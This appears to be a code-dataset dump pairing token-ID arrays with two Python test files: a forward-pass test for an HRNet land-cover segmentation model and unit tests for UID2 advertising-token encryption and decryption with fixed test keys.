12292,
29898,
3445,
29889,
11236,
1907,
3285,
13,
462,
462,
4706,
525,
1761,
742,
13,
462,
462,
4706,
525,
7076,
742,
13,
462,
462,
4706,
1813,
29918,
4906,
29922,
3488,
29918,
4906,
29892,
13,
462,
462,
4706,
2280,
1170,
29922,
12276,
29892,
13,
462,
462,
4706,
1404,
2558,
29922,
1792,
2558,
29892,
13,
462,
462,
4706,
11962,
1204,
29922,
15539,
1204,
29892,
13,
462,
462,
4706,
11339,
29902,
29886,
7061,
29922,
7168,
29902,
29886,
7061,
29892,
13,
462,
462,
4706,
1369,
2481,
29922,
2962,
2481,
29892,
13,
462,
462,
4706,
1095,
2481,
29922,
355,
2481,
29892,
13,
462,
462,
4706,
1741,
1170,
29922,
3696,
1170,
29892,
13,
462,
462,
4706,
18094,
29922,
26705,
29892,
13,
462,
462,
4706,
1638,
8325,
1367,
29922,
990,
8325,
1204,
29892,
13,
462,
462,
4706,
2318,
1204,
5072,
29922,
9688,
5072,
29897,
13,
4706,
565,
14188,
29901,
13,
9651,
17735,
353,
6024,
978,
2033,
13,
9651,
11799,
10661,
353,
5159,
13,
9651,
363,
6354,
297,
14188,
29901,
13,
18884,
4959,
353,
6354,
1839,
13604,
2033,
13,
18884,
628,
6354,
1839,
13604,
2033,
13,
18884,
6354,
29918,
798,
353,
3667,
29879,
29889,
1579,
8606,
29918,
3126,
29898,
10072,
29897,
13,
18884,
3708,
479,
29918,
16744,
353,
5852,
13,
18884,
363,
1741,
297,
4959,
29901,
13,
462,
1678,
363,
2944,
297,
1741,
29889,
657,
877,
16744,
742,
5159,
1125,
13,
462,
4706,
565,
731,
29898,
667,
29897,
1275,
11117,
1767,
742,
525,
978,
29915,
6177,
13,
462,
9651,
1741,
29961,
667,
1839,
978,
2033,
29962,
353,
2944,
1839,
1767,
2033,
13,
462,
4706,
25342,
731,
29898,
667,
29897,
1275,
11117,
524,
1917,
742,
525,
978,
29915,
6177,
13,
462,
9651,
565,
2944,
1839,
978,
2033,
297,
6024,
2962,
29918,
2230,
742,
525,
355,
29918,
2230,
2033,
29901,
13,
462,
18884,
659,
353,
2944,
29889,
657,
877,
524,
1917,
1495,
13,
462,
18884,
565,
659,
338,
451,
6213,
29901,
13,
462,
462,
1678,
659,
353,
938,
29898,
791,
29897,
13,
462,
462,
1678,
565,
659,
6736,
29871,
29953,
29906,
29896,
29941,
29945,
29953,
29947,
29941,
29906,
29900,
29900,
29901,
13,
462,
462,
4706,
1741,
29961,
667,
1839,
978,
2033,
29962,
353,
320,
13,
462,
462,
9651,
12865,
29889,
12673,
29889,
3166,
16394,
29898,
13,
462,
462,
18884,
659,
29899,
29953,
29906,
29896,
29941,
29945,
29953,
29947,
29941,
29906,
29900,
29900,
467,
10718,
4830,
580,
13,
462,
9651,
1683,
29901,
13,
462,
18884,
1741,
29961,
667,
1839,
978,
2033,
29962,
353,
2944,
1839,
524,
1917,
2033,
13,
462,
4706,
25342,
731,
29898,
667,
29897,
1275,
11117,
11227,
1917,
742,
525,
978,
29915,
6177,
13,
462,
9651,
1741,
29961,
667,
1839,
978,
2033,
29962,
353,
2944,
1839,
11227,
1917,
2033,
13,
462,
4706,
25342,
731,
29898,
667,
29897,
1275,
11117,
9910,
1917,
742,
525,
978,
29915,
6177,
13,
462,
9651,
1741,
29961,
667,
1839,
978,
2033,
29962,
353,
525,
15300,
7122,
29898,
667,
1839,
9910,
1917,
11287,
13,
462,
4706,
25342,
2944,
1839,
978,
2033,
1275,
525,
6078,
29918,
1272,
2396,
13,
462,
9651,
5633,
353,
6571,
13,
462,
9651,
363,
2643,
297,
2944,
1839,
9910,
3728,
1917,
2033,
29901,
13,
462,
18884,
363,
4473,
297,
2643,
1839,
15501,
2033,
29901,
13,
462,
462,
1678,
995,
353,
4473,
29889,
657,
29898,
13,
462,
462,
4706,
525,
1767,
742,
13,
462,
462,
4706,
525,
15300,
7122,
29898,
12062,
29889,
657,
877,
9910,
1917,
742,
5159,
4961,
13,
462,
462,
1678,
5633,
29961,
12062,
1839,
978,
2033,
29962,
353,
5633,
29889,
657,
29898,
13,
462,
462,
4706,
4473,
1839,
978,
7464,
518,
2314,
718,
518,
1767,
29962,
13,
462,
9651,
363,
760,
29892,
325,
297,
5633,
29889,
7076,
7295,
13,
462,
18884,
565,
760,
1275,
525,
6078,
29918,
978,
2396,
13,
462,
462,
1678,
760,
353,
525,
6078,
29915,
13,
462,
18884,
1741,
29961,
1595,
29962,
353,
525,
15300,
7122,
29898,
29894,
29897,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
3708,
479,
29918,
16744,
353,
7700,
13,
462,
1678,
565,
3708,
479,
29918,
16744,
29901,
13,
462,
4706,
1741,
29889,
7323,
877,
16744,
742,
6213,
29897,
13,
462,
1678,
1948,
353,
3667,
29879,
29889,
1579,
8606,
29918,
3126,
29898,
3696,
29897,
13,
462,
1678,
1948,
29889,
5504,
29898,
10072,
29918,
798,
29897,
13,
462,
1678,
363,
2944,
297,
1948,
29901,
13,
462,
4706,
565,
2944,
451,
297,
17735,
29901,
13,
462,
9651,
17735,
29889,
4397,
29898,
667,
29897,
13,
462,
1678,
11799,
10661,
29889,
4397,
29898,
798,
29897,
13,
9651,
2479,
29889,
6605,
29918,
7638,
29918,
23545,
793,
4197,
13,
18884,
525,
978,
742,
13,
9651,
21251,
17735,
29897,
13,
9651,
2479,
29889,
3539,
29918,
7638,
29918,
1445,
29898,
7638,
10661,
29892,
17735,
29892,
13,
462,
462,
259,
285,
29915,
29912,
12276,
29889,
5030,
2410,
675,
28296,
13414,
13969,
742,
13,
462,
462,
259,
304,
29918,
21594,
29897,
13,
13,
13,
1753,
903,
328,
5143,
29918,
1256,
29898,
3127,
16190,
1125,
13,
1678,
1993,
29918,
1256,
353,
337,
29889,
4352,
29898,
13,
4706,
525,
1469,
363,
10116,
2678,
1135,
313,
5575,
29897,
338,
451,
3447,
525,
13,
4706,
525,
16515,
29889,
3529,
1423,
1250,
2678,
742,
4589,
16190,
29897,
13,
1678,
565,
451,
1993,
29918,
1256,
29901,
13,
4706,
1993,
29918,
1256,
353,
337,
29889,
4352,
877,
4763,
2635,
508,
451,
367,
2678,
1135,
313,
5575,
29897,
742,
4589,
16190,
29897,
13,
1678,
565,
451,
1993,
29918,
1256,
29901,
13,
4706,
2761,
1731,
29889,
5205,
29918,
2704,
29918,
13322,
29898,
29946,
29892,
4589,
16190,
29897,
13,
1678,
736,
851,
29898,
4352,
29918,
1256,
29889,
2972,
29898,
29896,
876,
13,
13,
13,
1753,
903,
3198,
29918,
8159,
29918,
1272,
29918,
16515,
29898,
25442,
886,
29892,
1018,
2539,
29892,
2989,
1469,
19347,
29892,
13,
462,
1669,
756,
29918,
276,
4011,
1125,
13,
1678,
697,
29918,
3250,
353,
12865,
29889,
9346,
287,
2554,
29898,
16700,
29922,
29896,
29897,
13,
1678,
1018,
11384,
353,
12865,
29889,
12673,
29889,
710,
415,
603,
29898,
2202,
2539,
29892,
612,
14995,
29979,
29924,
5773,
29928,
29918,
19094,
1299,
29897,
13,
1678,
396,
4337,
304,
2462,
1434,
565,
591,
1016,
29915,
29873,
505,
472,
3203,
697,
8744,
13020,
13,
1678,
565,
451,
756,
29918,
276,
4011,
29901,
13,
4706,
1018,
11384,
22361,
697,
29918,
3250,
13,
4706,
736,
313,
29900,
29892,
1018,
11384,
29889,
710,
615,
603,
29898,
14995,
14995,
29924,
5773,
29928,
29918,
19094,
1299,
876,
13,
1678,
363,
9177,
297,
18116,
29901,
13,
4706,
565,
9177,
1839,
401,
2033,
1275,
525,
26092,
25758,
29918,
14573,
29918,
26612,
6227,
6181,
2396,
13,
9651,
363,
623,
297,
9177,
1839,
1272,
2033,
29901,
13,
18884,
565,
623,
1839,
1989,
2033,
1275,
525,
6214,
29915,
322,
320,
13,
462,
259,
623,
1839,
1767,
2033,
2804,
525,
2640,
29915,
322,
320,
13,
462,
259,
2989,
1469,
19347,
338,
451,
6213,
322,
320,
13,
462,
259,
313,
8159,
1469,
19347,
1275,
525,
497,
29915,
470,
623,
1839,
1767,
2033,
297,
2989,
1469,
19347,
1125,
13,
462,
1678,
1018,
11384,
22361,
697,
29918,
3250,
13,
462,
1678,
736,
313,
29900,
29892,
1018,
11384,
29889,
710,
615,
603,
29898,
14995,
14995,
29924,
5773,
29928,
29918,
19094,
1299,
876,
13,
4706,
25342,
9177,
1839,
401,
2033,
1275,
525,
14573,
29918,
12256,
29918,
26612,
6227,
6181,
2396,
13,
9651,
363,
623,
297,
9177,
1839,
1272,
2033,
29901,
13,
18884,
565,
623,
1839,
1989,
2033,
1275,
525,
6214,
29915,
322,
320,
13,
462,
259,
623,
1839,
1767,
2033,
2804,
525,
2640,
29915,
322,
320,
13,
462,
259,
313,
1333,
2989,
1469,
19347,
470,
623,
1839,
1767,
2033,
297,
2989,
1469,
19347,
1125,
13,
462,
1678,
736,
8521,
29896,
29892,
1018,
2539,
29897,
13,
1678,
736,
313,
29896,
29892,
1018,
2539,
29897,
13,
2
] |
tests/models/test_hrnet_forward.py | mintusf/land_cover_segmentation | 2 | 169144 | <filename>tests/models/test_hrnet_forward.py
import torch
from torchvision.transforms import Compose
from dataset import PatchDataset, get_transform
from models import get_model
from utils.io_utils import load_yaml
def test_deeplab_forward(test_config):
test_config.defrost()
test_config.MODEL.TYPE = "hrnet"
test_config.MODEL.CONFIG = "./config/model/hrnet.yml"
channels_in = len(test_config.DATASET.INPUT.USED_CHANNELS)
labels_config = load_yaml(test_config.DATASET.MASK.CONFIG)
channels_out = len(labels_config["class2label"])
assert channels_in == 4
assert channels_out == 5
model = get_model(test_config, test_config.TRAIN.DEVICE)
transform = get_transform(test_config)
transforms = Compose([transform])
dataset = PatchDataset(test_config, samples_list="train", transforms=transforms)
sample_batch = torch.stack([dataset[0]["input"], dataset[1]["input"]], 0)
pred = model(sample_batch)["out"]
assert pred.dim() == 4
assert pred.shape[0] == 2
assert pred.shape[1] == channels_out
assert pred.shape[2] == 256
assert pred.shape[3] == 256
test_config.MODEL.TYPE = "DeepLab"
test_config.MODEL.CONFIG = "" | [
1,
529,
9507,
29958,
21150,
29914,
9794,
29914,
1688,
29918,
1092,
1212,
29918,
11333,
29889,
2272,
13,
5215,
4842,
305,
13,
3166,
4842,
305,
4924,
29889,
9067,
29879,
1053,
3831,
852,
13,
13,
3166,
8783,
1053,
349,
905,
16390,
24541,
29892,
679,
29918,
9067,
13,
3166,
4733,
1053,
679,
29918,
4299,
13,
3166,
3667,
29879,
29889,
601,
29918,
13239,
1053,
2254,
29918,
25162,
13,
13,
13,
1753,
1243,
29918,
311,
29872,
572,
370,
29918,
11333,
29898,
1688,
29918,
2917,
1125,
13,
1678,
1243,
29918,
2917,
29889,
1753,
17627,
580,
13,
1678,
1243,
29918,
2917,
29889,
20387,
29931,
29889,
11116,
353,
376,
1092,
1212,
29908,
13,
1678,
1243,
29918,
2917,
29889,
20387,
29931,
29889,
25903,
353,
376,
6904,
2917,
29914,
4299,
29914,
1092,
1212,
29889,
21053,
29908,
13,
1678,
18196,
29918,
262,
353,
7431,
29898,
1688,
29918,
2917,
29889,
25832,
8127,
29911,
29889,
1177,
12336,
29889,
17171,
29928,
29918,
3210,
2190,
29940,
6670,
29903,
29897,
13,
1678,
11073,
29918,
2917,
353,
2254,
29918,
25162,
29898,
1688,
29918,
2917,
29889,
25832,
8127,
29911,
29889,
1529,
16033,
29889,
25903,
29897,
13,
1678,
18196,
29918,
449,
353,
7431,
29898,
21134,
29918,
2917,
3366,
1990,
29906,
1643,
20068,
13,
13,
1678,
4974,
18196,
29918,
262,
1275,
29871,
29946,
13,
1678,
4974,
18196,
29918,
449,
1275,
29871,
29945,
13,
13,
1678,
1904,
353,
679,
29918,
4299,
29898,
1688,
29918,
2917,
29892,
1243,
29918,
2917,
29889,
29911,
4717,
1177,
29889,
2287,
19059,
29897,
13,
13,
1678,
4327,
353,
679,
29918,
9067,
29898,
1688,
29918,
2917,
29897,
13,
1678,
4327,
29879,
353,
3831,
852,
4197,
9067,
2314,
13,
1678,
8783,
353,
349,
905,
16390,
24541,
29898,
1688,
29918,
2917,
29892,
11916,
29918,
1761,
543,
14968,
613,
4327,
29879,
29922,
9067,
29879,
29897,
13,
13,
1678,
4559,
29918,
16175,
353,
4842,
305,
29889,
1429,
4197,
24713,
29961,
29900,
29962,
3366,
2080,
12436,
8783,
29961,
29896,
29962,
3366,
2080,
3108,
1402,
29871,
29900,
29897,
13,
13,
1678,
4450,
353,
1904,
29898,
11249,
29918,
16175,
29897,
3366,
449,
3108,
13,
13,
1678,
4974,
4450,
29889,
6229,
580,
1275,
29871,
29946,
13,
1678,
4974,
4450,
29889,
12181,
29961,
29900,
29962,
1275,
29871,
29906,
13,
1678,
4974,
4450,
29889,
12181,
29961,
29896,
29962,
1275,
18196,
29918,
449,
13,
1678,
4974,
4450,
29889,
12181,
29961,
29906,
29962,
1275,
29871,
29906,
29945,
29953,
13,
1678,
4974,
4450,
29889,
12181,
29961,
29941,
29962,
1275,
29871,
29906,
29945,
29953,
13,
13,
1678,
1243,
29918,
2917,
29889,
20387,
29931,
29889,
11116,
353,
376,
2772,
1022,
28632,
29908,
13,
1678,
1243,
29918,
2917,
29889,
20387,
29931,
29889,
25903,
353,
5124,
2
] |
tests/test_encryption.py | IABTechLab/uid2-client-python | 1 | 78212 | # Copyright (c) 2021 The Trade Desk, Inc
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
import base64
import datetime as dt
import unittest
from Crypto.Cipher import AES
from uid2_client import decrypt_token, encrypt_data, decrypt_data, encryption_block_size, EncryptionError
from uid2_client.encryption import _encrypt_data_v1
from uid2_client.keys import *
_master_secret = bytes([139, 37, 241, 173, 18, 92, 36, 232, 165, 168, 23, 18, 38, 195, 123, 92, 160, 136, 185, 40, 91, 173, 165, 221, 168, 16, 169, 164, 38, 139, 8, 155])
_site_secret = bytes([32, 251, 7, 194, 132, 154, 250, 86, 202, 116, 104, 29, 131, 192, 139, 215, 48, 164, 11, 65, 226, 110, 167, 14, 108, 51, 254, 125, 65, 24, 23, 133])
_master_key_id = 164
_site_key_id = 165
_test_site_key_id = 166
_site_id = 2001
_uid2 = 'ywsvDNINiZOVSsfkHpLpSJzXzhr6Jx9Z/4Q0+lsEUvM='
_now = dt.datetime.utcnow()
_master_key = EncryptionKey(_master_key_id, -1, _now - dt.timedelta(days=-1), _now, _now + dt.timedelta(days=1), _master_secret)
_site_key = EncryptionKey(_site_key_id, _site_id, _now - dt.timedelta(days=-1), _now, _now + dt.timedelta(days=1), _site_secret)
_test_site_key = EncryptionKey(_test_site_key_id, _site_id, dt.datetime(2020, 1, 1, 0, 0, 0), dt.datetime(2021, 1, 1, 0, 0, 0), _now + dt.timedelta(days=1), encryption_block_size * b'9')
class TestEncryptionFunctions(unittest.TestCase):
def test_decrypt_token(self):
token = _encrypt_token(_uid2, _master_key, _site_key)
keys = EncryptionKeysCollection([_master_key, _site_key])
result = decrypt_token(token, keys)
self.assertEqual(_uid2, result.uid2)
def test_decrypt_token_empty_keys(self):
token = _encrypt_token(_uid2, _master_key, _site_key)
keys = EncryptionKeysCollection([])
with self.assertRaises(EncryptionError):
result = decrypt_token(token, keys)
def test_decrypt_token_no_master_key(self):
token = _encrypt_token(_uid2, _master_key, _site_key)
keys = EncryptionKeysCollection([_site_key])
with self.assertRaises(EncryptionError):
result = decrypt_token(token, keys)
def test_decrypt_token_no_site_key(self):
token = _encrypt_token(_uid2, _master_key, _site_key)
keys = EncryptionKeysCollection([_master_key])
with self.assertRaises(EncryptionError):
result = decrypt_token(token, keys)
def test_decrypt_token_invalid_version(self):
token = _encrypt_token(_uid2, _master_key, _site_key, version=1)
keys = EncryptionKeysCollection([_master_key, _site_key])
with self.assertRaises(EncryptionError):
result = decrypt_token(token, keys)
def test_decrypt_token_expired(self):
token = _encrypt_token(_uid2, _master_key, _site_key, expiry=dt.timedelta(seconds=-1))
keys = EncryptionKeysCollection([_master_key, _site_key])
with self.assertRaises(EncryptionError):
result = decrypt_token(token, keys)
def test_decrypt_token_custom_now(self):
expiry = dt.datetime(2021, 3, 22, 9, 1, 2)
token = _encrypt_token(_uid2, _master_key, _site_key, expiry=expiry)
keys = EncryptionKeysCollection([_master_key, _site_key])
with self.assertRaises(EncryptionError):
result = decrypt_token(token, keys, now=expiry+dt.timedelta(seconds=1))
result = decrypt_token(token, keys, now=expiry-dt.timedelta(seconds=1))
self.assertEqual(_uid2, result.uid2)
def test_decrypt_token_invalid_payload(self):
token = _encrypt_token(_uid2, _master_key, _site_key, expiry=dt.timedelta(seconds=-1))
keys = EncryptionKeysCollection([_master_key, _site_key])
with self.assertRaises(EncryptionError):
result = decrypt_token(token[:-3], keys)
def test_encrypt_data_specific_key_and_iv(self):
data = b'123456'
iv = encryption_block_size * b'0'
key = _test_site_key
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, iv=iv, key=key)
self.assertTrue(len(data) + len(iv) < len(encrypted))
decrypted = decrypt_data(encrypted, keys)
self.assertEqual(data, decrypted.data)
def test_encrypt_data_specific_key_and_generated_iv(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, key=key)
self.assertTrue(len(data) + encryption_block_size < len(encrypted))
decrypted = decrypt_data(encrypted, keys)
self.assertEqual(data, decrypted.data)
def test_encrypt_data_specific_site_id(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, site_id=key.site_id, keys=keys)
self.assertTrue(len(data) + encryption_block_size < len(encrypted))
decrypted = decrypt_data(encrypted, keys)
self.assertEqual(data, decrypted.data)
def test_encrypt_data_site_id_from_token(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([_master_key, key])
token = _encrypt_token(_uid2, _master_key, key, site_id=key.site_id)
encrypted = encrypt_data(data, advertising_token=token, keys=keys)
self.assertTrue(len(data) + encryption_block_size < len(encrypted))
decrypted = decrypt_data(encrypted, keys)
self.assertEqual(data, decrypted.data)
def test_encrypt_data_keys_and_specific_key_set(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([key])
with self.assertRaises(ValueError):
encrypt_data(data, key=key, keys=keys)
def test_encrypt_data_site_id_and_token_set(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([_master_key, key])
token = _encrypt_token(_uid2, _master_key, key, site_id=key.site_id)
with self.assertRaises(ValueError):
encrypt_data(data, keys=keys, site_id=key.site_id, advertising_token=token)
def test_encrypt_data_token_decrypt_failed(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([_master_key, _test_site_key])
with self.assertRaises(EncryptionError):
encrypt_data(data, keys=keys, advertising_token="bogus-token")
def test_encrypt_data_key_expired(self):
data = b'123456'
site_id = 205
key = EncryptionKey(101, site_id, _now - dt.timedelta(days=2), _now - dt.timedelta(days=2), _now - dt.timedelta(days=1), encryption_block_size * b'9')
with self.assertRaises(EncryptionError):
encrypt_data(data, key=key)
def test_encrypt_data_key_inactive(self):
data = b'123456'
site_id = 205
key = EncryptionKey(101, site_id, _now - dt.timedelta(days=2), _now + dt.timedelta(days=2), _now + dt.timedelta(days=3), encryption_block_size * b'9')
with self.assertRaises(EncryptionError):
encrypt_data(data, key=key)
def test_encrypt_data_key_expired_custom_now(self):
data = b'123456'
key = _test_site_key
now = _test_site_key.expires
with self.assertRaises(EncryptionError):
encrypt_data(data, key=key, now=now)
def test_encrypt_data_key_inactive_custom_now(self):
data = b'123456'
key = _test_site_key
now = _test_site_key.activates - dt.timedelta(seconds=1)
with self.assertRaises(EncryptionError):
encrypt_data(data, key=key, now=now)
def test_encrypt_data_no_site_key(self):
data = b'123456'
keys = EncryptionKeysCollection([_master_key])
with self.assertRaises(EncryptionError):
encrypt_data(data, keys=keys, site_id=205)
def test_encrypt_data_site_key_expired(self):
data = b'123456'
site_id = 205
key = EncryptionKey(101, site_id, _now - dt.timedelta(days=2), _now - dt.timedelta(days=2), _now - dt.timedelta(days=1), encryption_block_size * b'9')
keys = EncryptionKeysCollection([key])
with self.assertRaises(EncryptionError):
encrypt_data(data, keys=keys, site_id=site_id)
def test_encrypt_data_site_key_inactive(self):
data = b'123456'
site_id = 205
key = EncryptionKey(101, site_id, _now - dt.timedelta(days=2), _now + dt.timedelta(days=2), _now + dt.timedelta(days=3), encryption_block_size * b'9')
keys = EncryptionKeysCollection([key])
with self.assertRaises(EncryptionError):
encrypt_data(data, keys=keys, site_id=site_id)
def test_encrypt_data_site_key_expired_custom_now(self):
data = b'123456'
site_id = 205
now = dt.datetime.utcnow() - dt.timedelta(days=1)
key = EncryptionKey(101, site_id, now, now, now + dt.timedelta(seconds=1), encryption_block_size * b'9')
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, site_id=site_id, keys=keys, now=now)
decrypted = decrypt_data(encrypted, keys)
self.assertEqual(data, decrypted.data)
self.assertEqual(format_time(now), format_time(decrypted.encrypted_at))
def test_encrypt_data_expired_token(self):
data = b'123456'
expiry = dt.datetime(2021, 3, 22, 9, 1, 2)
key = _test_site_key
keys = EncryptionKeysCollection([_master_key, key])
token = _encrypt_token(_uid2, _master_key, key, site_id=key.site_id, expiry=expiry)
with self.assertRaises(EncryptionError):
encrypt_data(data, keys=keys, advertising_token=token)
def test_encrypt_data_expired_token_custom_now(self):
data = b'123456'
expiry = dt.datetime(2021, 3, 22, 9, 1, 2)
key = _test_site_key
keys = EncryptionKeysCollection([_master_key, key])
token = _encrypt_token(_uid2, _master_key, key, site_id=key.site_id, expiry=expiry)
with self.assertRaises(EncryptionError):
encrypt_data(data, keys=keys, advertising_token=token, now=expiry+dt.timedelta(seconds=1))
now = expiry-dt.timedelta(seconds=1)
encrypted = encrypt_data(data, keys=keys, advertising_token=token, now=now)
decrypted = decrypt_data(encrypted, keys)
self.assertEqual(data, decrypted.data)
self.assertEqual(format_time(now), format_time(decrypted.encrypted_at))
def test_decrypt_data_bad_payload_type(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, key=key)
encrypted_bytes = base64.b64decode(encrypted)
encrypted = base64.b64encode(bytes([0]) + encrypted_bytes[1:]).decode('ascii')
with self.assertRaises(EncryptionError):
decrypt_data(encrypted, keys)
def test_decrypt_data_bad_version(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, key=key)
encrypted_bytes = base64.b64decode(encrypted)
encrypted = base64.b64encode(encrypted_bytes[0:1] + bytes([0]) + encrypted_bytes[2:]).decode('ascii')
with self.assertRaises(EncryptionError):
decrypt_data(encrypted, keys)
def test_decrypt_data_bad_payload(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, key=key)
encrypted_bytes = base64.b64decode(encrypted)
encrypted = base64.b64encode(encrypted_bytes + b'1').decode('ascii')
with self.assertRaises(EncryptionError):
decrypt_data(encrypted, keys)
encrypted = base64.b64encode(encrypted_bytes[:-2]).decode('ascii')
with self.assertRaises(EncryptionError):
decrypt_data(encrypted, keys)
def test_decrypt_data_no_decryption_key(self):
data = b'123456'
key = _test_site_key
keys = EncryptionKeysCollection([key])
encrypted = encrypt_data(data, key=key)
dkeys = EncryptionKeysCollection([_master_key])
with self.assertRaises(EncryptionError):
decrypt_data(encrypted, dkeys)
def _encrypt_token(id_str, master_key, site_key, version=2, expiry=dt.timedelta(hours=1), site_id=0, privacy_bits=0):
id = bytes(id_str, 'utf-8')
identity = int.to_bytes(site_id, 4, 'big')
identity += int.to_bytes(len(id), 4, 'big')
identity += id
identity += int.to_bytes(privacy_bits, 4, 'big')
identity += int.to_bytes(int((dt.datetime.utcnow() - dt.timedelta(hours=1)).timestamp()) * 1000, 8, 'big')
identity_iv = bytes([10, 11, 12, 13, 14, 15, 16, 1, 2, 3, 4, 5, 6, 7, 8, 9])
if not isinstance(expiry, dt.datetime):
expiry = dt.datetime.utcnow() + expiry
master_payload = int.to_bytes(int(expiry.timestamp()) * 1000, 8, 'big')
master_payload += _encrypt_data_v1(identity, key=site_key, iv=identity_iv)
master_iv = bytes([21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36])
token = int.to_bytes(version, 1, 'big')
token += _encrypt_data_v1(master_payload, key=master_key, iv=master_iv)
return base64.b64encode(token).decode('ascii')
def format_time(t):
s = t.strftime('%Y-%m-%d %H:%M:%S.%f')
return s[:-3]
| [
1,
396,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29896,
450,
27226,
2726,
29895,
29892,
9266,
13,
29937,
13,
29937,
4367,
391,
3224,
322,
671,
297,
2752,
322,
7581,
7190,
29892,
411,
470,
1728,
13,
29937,
21733,
29892,
526,
21905,
4944,
393,
278,
1494,
5855,
526,
1539,
29901,
13,
29937,
13,
29937,
29871,
29896,
29889,
4367,
391,
3224,
29879,
310,
2752,
775,
1818,
11551,
278,
2038,
3509,
1266,
8369,
29892,
13,
29937,
1678,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
29889,
13,
29937,
29871,
29906,
29889,
4367,
391,
3224,
29879,
297,
7581,
883,
1818,
18532,
278,
2038,
3509,
1266,
8369,
29892,
13,
29937,
1678,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
297,
278,
5106,
13,
29937,
1678,
322,
29914,
272,
916,
17279,
4944,
411,
278,
4978,
29889,
13,
29937,
13,
29937,
3446,
3235,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
6770,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
5300,
8707,
29911,
3960,
29933,
2692,
24125,
376,
3289,
8519,
29908,
13,
29937,
5300,
13764,
29979,
8528,
15094,
1799,
6323,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
29892,
2672,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
6093,
13,
29937,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
5300,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
13,
29937,
319,
1525,
28657,
13875,
8890,
29928,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
6323,
8707,
29911,
3960,
29933,
2692,
24125,
20700,
13,
29937,
17705,
6181,
15842,
13764,
29979,
22471,
26282,
29892,
2672,
4571,
26282,
29892,
2672,
29907,
1367,
3919,
1964,
29892,
317,
4162,
8426,
1964,
29892,
8528,
29923,
3580,
29931,
19926,
29892,
6323,
13,
29937,
8707,
1660,
13356,
3919,
25758,
21330,
1529,
1692,
29903,
313,
1177,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
13756,
29907,
11499,
13780,
8079,
13,
29937,
27092,
1254,
1806,
26027,
21947,
29949,
8452,
6323,
26996,
29963,
2965,
2890,
29936,
11247,
1799,
8079,
501,
1660,
29892,
360,
8254,
29892,
6323,
13756,
29943,
1806,
29903,
29936,
6323,
350,
3308,
8895,
1799,
13,
29937,
2672,
4945,
29934,
4897,
29911,
2725,
29897,
29832,
8851,
5348,
12766,
17171,
29928,
5300,
6732,
13764,
29979,
6093,
18929,
8079,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
13,
29937,
8707,
29911,
4717,
1783,
29892,
6850,
3960,
1783,
17705,
2882,
6227,
11937,
29892,
6323,
323,
8476,
313,
1177,
6154,
15789,
4214,
405,
11787,
5265,
24647,
4741,
6323,
438,
29911,
4448,
22119,
1660,
29897,
13,
29937,
9033,
3235,
4214,
2672,
13764,
29979,
399,
29909,
29979,
19474,
8079,
6093,
501,
1660,
8079,
3446,
3235,
7791,
7818,
12982,
1525,
29892,
382,
29963,
1430,
10762,
11033,
18118,
1660,
29928,
8079,
6093,
13,
29937,
21521,
1799,
8979,
6227,
11937,
8079,
20134,
3210,
21330,
1529,
1692,
29889,
13,
13,
5215,
2967,
29953,
29946,
13,
5215,
12865,
408,
11636,
13,
5215,
443,
27958,
13,
3166,
315,
17929,
29889,
29907,
29875,
8096,
1053,
319,
2890,
13,
13,
3166,
318,
333,
29906,
29918,
4645,
1053,
1602,
4641,
29918,
6979,
29892,
